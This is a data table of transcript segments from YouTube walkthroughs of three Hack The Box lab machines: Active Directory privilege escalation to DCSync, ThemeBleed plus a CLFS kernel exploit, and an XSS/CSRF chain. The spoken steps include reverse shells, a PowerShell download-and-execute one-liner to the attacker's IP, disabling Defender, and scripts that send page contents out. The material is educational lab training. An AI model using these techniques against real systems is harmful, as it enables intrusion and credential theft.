text stringlengths 4 952 | start float64 0 9.37k | duration float64 0 0 | meta dict |
|---|---|---|---|
there is a clock skew. So if we do anything kerros related, we'll have to sync the time. But I don't have anything else. So what I'm going to do is a net exec. So we can do net exec SMB 1010 1142. And this should connect. And then SMB will tell us the host name, which is just DC. So, I'm going to go ahead and add that ... | 132 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
works. We can also go to FTP and see if we have FTP access and we get a 530 user cannot log in home directory inaccessible. If we tried other things of net exec like winrm, we'll actually see this lets us in. However, there's not much we can do with this. Um, when I was doing this box, the first thing I did with this w... | 190.4 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
Uh, where is the password? Right here. Copy. Paste. And this should get us a shell on the box. We'll see. Okay. So, the error message with FTP was home directory inaccessible. We're in a home directory. So, we know the home directory is not set to C col back/ users. Now, when I first did this, I was like thinking it's ... | 232.159 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
Program files is not x86. We can do program 2. Switch them. And I didn't find anything. And that's when I looked back at the banner. I actually went back to um Netcat and we did NC1010 11142 port 21 and that's when I saw oh it's the Microsoft FTP service. So it's probably part of um I don't want to say I but just exact... | 272.8 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
pretty instantaneous. Um unauthorized operation. So we can't do get ACL. We could try like I cackles on FTP route and see what happens here. We can't do anything. My next thought was um maybe we can look at the permissions for C inet pub the directory we're in. And we see system users trusted installer. And then it's a... | 332.8 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
blood hound injesters, right? And then there's a bloodhound.py. We could run sharp hound.exe, but I really like just running bloodhound.py. And if you look at my git log, you can see um I should have done git branch, I am on the blood hound community edition branch. So if you want to follow along and you're using the c... | 389.6 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
directory we actually want the script blood hound.py not camelcased. Okay there we go and we see it is starting to work. It's contacting that LDAP server. We have uh kerros fail us but it fell back to NLM authentication which is just fine. Uh, while that goes, let's go into opt bloodhound server and I'm going to start ... | 454 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
So, like my ports aren't conflicting. Um, it's just my habit to always just start Blood Hound on port 8088. And when this is up, we can then upload all of our um files to it. So, waiting on the server graph DB to start. And then when it starts, I should be able to go to http 127001 8088. Uh we can't yet. Hopefully any ... | 486.479 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
minute or two to ingest. So, while it ingest, um, one thing I like doing is just poking at the Blood Hound files manually, and it's a bit of a pain. So, if I do I know we're going to need to do groups. We've done other files before. If you don't know, like go to um, ipsack.ro, I should have like a special Blood Hound v... | 549.36 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
um data like that right then properties.name name and we can get a list of all the groups and it's quite a bit right. What I would normally do, my first bet is to look for all non-default Windows groups and the easiest way to do that is looking at the SID. Um, we've talked about SID with like that one user SID that did... | 618.32 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
in a bash file just because I think it will be easier for people to read. So we'll go and call this a new groups orsh I guess. | 688.88 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
Bensh. And we can cat that. and we'll do a jQ data. And then what we want to do is a select. We're going to do object identifier because that's where the SID actually was. It was under this object identifier. Then we're going to split it upon a dash or a hyphen. Then we're going to get the last. And then I'm going to s... | 700.12 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
run it. And this should be much less lines. Let's see. | 762.639 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
Um, grap. Let's see. What is it? Was it just name? That's right. Name. Uh, where's my big JQ? Uh, lowercase name. | 770.76 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
So we can see, oh that's annoying. There we go. Um, now we only have three items. | 791.68 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
So this is a very quick way just to enumerate. And we can see there is a custom group share moderators. Um, the DNS update proxy and DNS admin. These are default built by Windows. I don't know why they always take above a 10,00 um, SID. Maybe it's because it didn't come at install time. But if we wanted to, we could fi... | 799.839 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
like properties when created like that. And then it'll also put the um timestamp of when this group was created. But the main thing we want to point out is the custom group here is going to be share moderators. So let's hop back over into Blood Hound. This should be done ingesting. Now if we go to explorer, we can set ... | 869.16 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
use that. So we can see Michael I set him to own. And if we look at Michael, Michael also has an outbound object control and that's going to be over to um Benjamin. So we have a path here from um Olivia to Benjamin. So if we set that as the ending node, we can easily um show it here. So Olivia has generic all to Michae... | 926.72 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
And when I was first solving this box, I completely missed this one step. Right? I looked at member of saw six and everything else member of six member of six and if you look at the groups um were member of everyone all users domain user pre-wind 2000 wrote management and users so we go back to the search uh path findi... | 971.839 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
But we can look at that. There is one member and that is Benjamin. So, let's get over to Benjamin. I'm gonna set the starting node back to Olivia and then we're going to do the password reset change to get over to Ben. So, if I click on generic all, it's definitely a little picky, but there we go. Go over to Linux abus... | 1,029.76 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
We'll do that later on in this video so don't worry. And then we can use net RPC here to set the password. The shadow credential that we're seeing there that's what I was talking about but we can't use that one because there's no certificate services. So um let's use this net RPC command to change the password over on ... | 1,062.4 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
Uh, password, I'm just going to do password one so it's easy to type. Domain is going to be administrator.htb. This is Olivia. And this password is going to be and credentials.ext. So, I can just exit this PowerShell session. Cat credentials. Let's go ahead and grab this. Um, I'm going to make sure I don't have that sp... | 1,087.36 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
Before we run this, I'm going to set up a net exec to prove we are changing the password. So, I'm going to do nxc SMB 1010142- Michael-P password one exclamation point. There we go. If we run this login failure, run it again. We don't get any output. But now we have success. So let's go ahead and update um is it Benjam... | 1,126.24 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
Benjamin. And now we're going to use Michael and password one exclamation point. There we go. Same thing. I'm going to do it over here. We can say Benjamin password should not work. Then we can also go over to FTP because that's what we want to do is get FTP. User cannot log in. We're going to set Benjamin's password a... | 1,166.28 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
So, let's do FTP uh 1010 1142 Benjamin password one. Do a diir. And we get this file backup.ps3. I'm going to run a get against it. And it's giving me a warning. It says we transferred in ASKI mode and it's most likely a binary file. So I'm going to do mode bin. I think bin. There we go. This is going to set us to bina... | 1,201.12 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
Uh we don't. So I guess that did not matter. It's just one of my paranoia things because if that causes your issue, it's very easy to waste a lot of time uh trying to figure out what the issue was. So always make sure when you have file copy errors, uh you do what you can to um eliminate the error. in this case doesn't... | 1,260.72 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
crack. We don't have to run like John 2 hashcat or whatever um or psafe to John or whatever the program would be but we can just do hashcat um op word list rocku.ext is it I'm actually blanking. Is it word list first and then the file? I think it's word list and then the hash. We'll do hashes slash uh we called it back... | 1,311.36 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
um this will detect it. Oh, it does. So if even if we run a file command that examines these headers u this is a known magic bite for password safe v3. So let's go ahead and set the mode over to that which is mode 5200. So we're going to go here. We can specify mode 520. I hope it's 5200 not 52,000. Looks like um it is... | 1,381.32 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
safe. I think that's the app. And I already have it installed. We can run it with pw safe. And then we're going to open the database. So, let's go into um, HTB. Then, what is it? | 1,452.96 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
administrator backup psafe. Put in this password. We can show what I'm putting in if we wanted to. And we have three users, Alexandra, Emily, and Emma. So, let's go ahead and uh v users uh Alexandra was it? Yep. And then Emily and Emma. And I'm doing it this way because I'm going to use net exec to spray the passwords.... | 1,467.72 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
first line of users, first line of passwords, try it, and then first line of the next one and try it and just so on. Uh, we should probably do continue on success. So, we try them all. So, we see um Emily's password is valid. So, we can now own Emily. So, let's look at what Emily has. So, if we go over to Emily, I'm go... | 1,549.039 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
And if we look at what Ethan can do, outbound object control, Ethan uh can DC sync the domain. So once we get Ethan, we can just dcync and get um full domain admin. So let's look at the path of this. So again, going back here, go generic, right? If I can click that. There we go. Linux abuse and it wants us to run this ... | 1,601.2 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
So let's do this. Python 3 targeted Kerarost D. This is going to be administrator.htb. Uh the user is what is it? Emily, right? And the password is going to be uh we got to have Psafe. We can just copy this uh copy password to clipboard. | 1,658.799 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
paste and then see something went wrong. I think I pasted the wrong thing. There we go. See generic, right? Come on. Linux abuse. So we do du. That's it. | 1,686.76 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
run this starting curb roast attack and we get a clock skew to grade error. So I'm going to do pseudo NTP date 10 10 11:42 and this should sync my time to the domain controller. We're going to run this command again and it's going to um add the SPN to um Ethan and then uh Kerros the account. So we can go back into the ... | 1,714.799 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
now is just a secret stump. So we'll do secret stump.py. Uh let's do administrator.htb htb ethan I want to say it's percent like that at 1010 1142 see I thought that's how we'd specify the password I can just copy this and we'll do it manually put that in and we start dumping the um secrets, right? So now we can go in ... | 1,814.559 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
Um limp biscuit. Is that how he typed it? Did I type it right? Sweet. I did. Um, it's not going to do really anything different I think because maybe they didn't change passwords, but we get extra fields. So, we can see the password set here. You get the password history as well. So, we see Emily has um changed passwor... | 1,905.799 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
older passwords and then we place it against rule sets like best 64, um inside pro passwords, whatever rule set, like all the hashcat rule sets. Then you'll start cracking other passwords just because you crack the older passwords. So, I love getting the password history. Um I also like password last set so you can get... | 1,961.039 | 0 | {
"video_id": "Miam4nw9pmE",
"title": "HackTheBox - Administrator",
"url": "https://www.youtube.com/watch?v=Miam4nw9pmE"
} |
what's going on YouTube this is ipsag I'm gonna do an arrow from hack the box which is another non-competitive hack the Box release which just means it didn't release on a Saturday and it went straight to retired so we're free to do write-ups and videos exploitation is relatively straightforward that being said you do ... | 0 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
Shell at that point the root step has a pretty cool story behind it because the actual Colonel prevask wasn't found by legitimate researchers it was found in the Wild by ransomware groups using it so let's just jump into the box as always we can with the end map so Dash SC for default scripts SV enumerate versions OA I... | 43.079 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
just replaced to Host Windows 11 themes or download them and then there's a upload field so if we click on browse we can click on all supported types and it's theme and theme pack so I'm going to do theme and I'm just going to touch um test.theme so we can upload something and I'm also going to intercept this request t... | 95.34 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
going to check if there's like an upload directory so if we do upload we can try uploads we're not getting anything I'm going to set up a go Buster so we have some Recon running in the background so go Buster dir HTTP 10 10 11 237 or a list up seclist discovery uh web content rap small words dot text and we don't know ... | 150.12 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
HTTP request to application servers so I'm not exactly sure what this web server is but we don't know the extension so we can't add that to our Go Buster so let's just let this go see if it finds anything we have a home and upload that slash upload was the upload page right uh method not allowed because we use post and... | 217.14 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
and if we did some reading we find there is a way to um exploit this so the researcher notice when version 999 is used for some routine between time I'm not sure exactly how this works but there is a proof of concept so let's just go ahead and look at this to see how it works or how to use this so we have this proof of... | 276.66 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
dll with an export named theme a verified theme version you actually don't even need this you can probably just do it on dll attach which we will show at the end of the video If you go to my um video for dll hijacking if any of this confuses you this may help um I go into a lot about that what he's doing here is hookin... | 344.639 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
that you kind of have to mimic there's a lot of times we just import a project and some setting isn't correct so it's not compiling for you um it's just easier to copy I think if we do this on Linux and what you will need is um let's see app search men g w is it 64. is this the package w64 I think this the package you ... | 400.139 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
windows.c and let us copy this so copy raw file we can paste this in what if I do set paste does that change anything no okay so I'm going to change a few things in this because I just want this reverse shell to be a function so what I'm going to do is um delete this line where it's just checking if client IP is equal ... | 468 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
for theme bleed the verify theme version so all we do is say void verify theme version and we're doing void there because we don't have to return anything and I can just call reverse shell 10 10 14 8 which is my IP and then 9001. | 555.42 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
and we have to put a semicolon there and now we want to compile this so x86 um 64. like that and G after this is GCC uh 132 okay specify the file we want we say Dash shared because we want a dll and let's see we have to also say this and I just know that because these errors we're saying the Linker to use um I think wi... | 578.82 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
um static in because if anyone's analyzing this if you have an export called reverse shell that's going to be a little fishy right so let's recompile uh that did not like it is it a something as stupid as the order these uh functions are declared if I put that at the bottom there we go now we're compiled so if we do PE... | 672.06 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
keep uh keep anyway okay so now let's just go into CMD go into our downloads we can do run dll32 on our file let me make this bigger for you and then what was the export we called um the file exports verify theme version and we need to NC lvmp 9001 we hit this nothing happens here go back here and we have a reverse she... | 753.12 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
our malicious one we eventually get code execution so let's go Google GitHub theme bleed and download it from the releases because this is going to have a pre-compiled one uh smart screen blocked it let's keep it anyway virus let's go to Defender and disable uh varison threat protection manage settings disable it I'm s... | 825.959 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
listing on 445 so you want to disable it then reboot your box so once you have 445 open you can check by like netstat an find string 445 nothing comes back um then you can run theme bleed so what we want to do is make the theme so we can do theme bleed if we execute it we want to do make theme point it at 10 10 14 8 an... | 906.66 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
so instead of make theme I think it was just server uh we gotta go in theme bleed there we go so let's copy um this over to our box so I'm going to copy this and then we switch over to our Linux box and I'm going to open my file browser and then where's htb Arrow and if I do control V that does not paste it um I'm just... | 984.06 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
networking over to bridged so we can see I can talk there I'm going to do so cat with a pseudo TCP Dash listen on 445 and then Fork reuse add-r and then we do TCP this 445. | 1,066.44 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
so what this does is anything coming into my box on 445 it's going to afford it over to our Windows box and yeah so let's now go back to the 10 10 11 237 go over to upload click browse exploit.theme and let us upload the file and when we do we don't see anything here right away if we go to visual studio or a Windows bo... | 1,088.52 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
are so let's do keep anyway grab this copy it then we can go back to our desktop um theme bleed data paste it and rename this to Stage underscore three okay let's restart the server and you may hear I hit enter whenever I start it it's just a habit because the Powershell terminal sucks for Windows sometimes it'll hang ... | 1,180.44 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
the system 32 if you're not you may have issues later on so if we do who am I we can see we're Sam Emerson so if we go to CD slash users and then we can go into the Sam Emerson directory if we go to desktop we could get user.txt if we go into documents there is a um PDF so let's go CD documents there's also a Powershel... | 1,258.26 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
at the PDF so let's go over to Powershell and then I can do b64 is equal to convert to base64 string then we can do IO file read all bytes and I want to give it the file name okay if I write out Bay 64 we have it so let's copy this over to here we can say um cve.pdf Dot b64. paste it in and base64 Dash D on that to cve... | 1,328.28 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
see docx access site has been restricted I have not seen that before okay that works just fine that was bizarre um this looks like it's going to be a visual studio project so I'm actually going to use Visual Studio to open this so let's go over here um download it and hope I have are they like middle of removing this r... | 1,434.36 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
okay I got seven zip and extracted the um file I had downloaded so we're going to open it up in Visual Studio it's important that it's Visual Studio not Visual Studio code and once it opens we can take a look at it there's one line we're going to have to change because like all exploits it just opens calculator I belie... | 1,566.36 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
reverse shell so let's change out Notepad okay put a Powershell one-liner in so Powershell IX new object net dot web client download string then HTTP 10 10 14 8 Port 8001 or 8 000 shell.ps1 okay that all looks good so we can save this build rebuild solution and then we have it saved here so if we go to that directory w... | 1,649.72 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
okay so we have the web server still running let's go in dub dub dub and see lvmp 9001 here's where a shell is so we want to download it so I'm going to curl 10 10 14 8 port 8000. | 1,770.659 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
and then we want to grab was it clfs for common log file system or something Erp for elevation of privilege I'll just call eop.exe looks like it downloaded if we execute it we have an error if I go over to my other pane where the web server is it never attempted to hit our reverse shell early enough the system call cam... | 1,790.58 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
you guys enjoyed that box I know this was difficult with modifying uh some C files but hopefully it makes sense take care and we'll see you all next time actually cancel that I just remembered um we're going to try one other thing with the theme exploit and that would be doing the theme exploit without um exporting any... | 1,898.64 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
so we can do a switch DW reason and there's a lot of different cases I bet if we just Google um let's see cat main C so if we Google this string we should get other hits um the old Main so we have like process attached thread attached a lot of different things we probably should go to like um documentation page to get ... | 1,981.74 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
DLo is only going to happen when something attaches to it so at CP this to www and we can go back to or Windows box and we no longer need this we can go to 10 10 14 8 8 000 oh no it's 192. | 2,082.24 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
redownload this going to trash it and we'll delete the old version going downloads delete yep let's keep it keep anyway so the time matches up let's go to desktop theme bleed data delete stage three put a new one I think it was 94 now it's 93. | 2,113.68 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
so it's definitely a different size and now we can restart the server and then all we do we have to run on the socat again and NCL VMP 9001. so now if I go back to this we upload exploit theme it's going to go over here we see it requesting stage one then we get stage two the load dll comes next we should see it in thr... | 2,151.839 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
things to crash but since we forked and got the reverse shell it doesn't matter um so definitely doing it the first way is the better way to do it but you could also do it this way so um with that being said hope you guys enjoyed the Box take care and I will see you all next time | 2,241.42 | 0 | {
"video_id": "g01cZciFI9o",
"title": "HackTheBox - Aero",
"url": "https://www.youtube.com/watch?v=g01cZciFI9o"
} |
what's going on YouTube this is ipsec and we'll be doing alert from hack the box which the foot hold is probably a tad difficult for an easy machine as it requires enumerating a web app via cross-site request forgery however every critical piece of information needed to do this can be found multiple ways and I'll do my... | 0.12 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
disclosure vulnerability that we can use to leak the HT passwd file that lets us on the box and from that user the box is pretty easy we discover there's another web server running that we can just drop a PHP script and execute it to get root so with that being said let's jump in as always we're going to start off with... | 42.2 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
over to alert. htb when we access it so let's go ahead and add this to a host file so we'll do pseudo VC host uh not pbd there we go and then we'll do 10101 11.44 put alert. htb save that and then let's go take a look at the website so we'll do HTTP alert. htb and we can see it starts off with a markdown viewer now whe... | 91.56 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
the header because we did the um header tag I guess or the like emphasis I don't know exactly what the markdown names for those are but it did a relatively good job we can see it redirects us over to visualizer PHP and then gives us a markdown file so my first thought is um can we have any type of file inclusion vulner... | 166.159 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
index.md invalid oh invalid file is that what it did before we did dot dot slash no so there is some type of filter here that doesn't like dot dot slash um one of it doesn't like the slash let's put a slash in line with this invalid file name so it's probably just allowing us to do like period and then characters and n... | 230.879 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
other things people are putting down on the markdown and access it kind of like an idore vulnerability right but um none of that looks like it exists let's just move on and look at other things of the website so I'm going to turn burp Suite off and then we can go to alert. htb again we go over to the contact us page it... | 290.24 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
is link share and this will be contact us awesome uh before we send that request let's just listen on Port 8000 we can send it see what the message says it just directs us saying the message was sent successfully and then looking at this we actually see a connection immediately so we see connection from 1010 1144 and i... | 362.68 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
donate uh for the request amount 12 1345 bytes let's put a single quote 1345 byes um put nothing 1345 so everything's just doing the same thing I'm guessing the Donate um even if it was one it's going to be hard for us to figure something out I'm going to focus more on this cross site script rting right now because tha... | 426.039 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
it and let's see it did not process this at all we got the quote do a space try this again huh I wonder if it doesn't like the plus let's do a double URL encode just in case it's like URL decoding and then that still doesn't really look any different oddly enough like the request is identical I don't see any difference... | 501.919 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
this so if we do this way we can see it does the same thing if we had a double quote here do a double quote and then we'll put this in single quote so we could have escaped the double quote I guess but see it still prints it like that so only the template works with the back ticks so that's why I'm going to try this ju... | 586.72 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
it doesn't really matter like the HTML we've been doing here it's just because this has been showing as a hyperlink and getting clicked on we can validate that by just like sending a link so let's just have the message be no HTML and we'll simplify it and just put a link here and we get a connection back immediately so... | 650.6 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
the share link I'm going to paste it in my browser already have that up if we look here do we have a connection yet oh we're probably intercepting on Burp Suite we can turn that off so we load this page and it's making a request to load pawn. JS so this is going very well for us I'm going to make a directory dubdub dub... | 710.44 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
send it again they do a get on per. JS so it loaded but nothing else happened we do fetch 10 10 148 I did not specify Port 8,000 there we go and we don't have any cookie so HTTP only probably is set so here I'm going to play with like cross site request forgery so let's go edit p. JS and I'm going to create two helper ... | 790.32 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
text and then we can return result okay and I also want to do async function for post data and we'll do URL data and this one is a little bit more complex we'll do const response is equal to await fetch URL and then we got to send the um extra parameters so we're going to say the method is going to be a post and then w... | 847.12 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
to await response. text return result okay and then async function pone is going to be um the chain I'm doing so I'm going to say const page is equal to await get data and then we can just say HTTP alert. | 919.839 | 0 | {
"video_id": "zSBEfW46zd0",
"title": "HackTheBox - Alert",
"url": "https://www.youtube.com/watch?v=zSBEfW46zd0"
} |
htb and we're going to get what page the um browser sees and then we do await post data we're going to send it back over to us so http 10 10 14 8 and I'm not going to do um Port 8,000 because that's where my python HTTP server is I'm going to just send it over to a netcat that I'll have listening on 90001 um and then w... | 945.959 | 0 | {
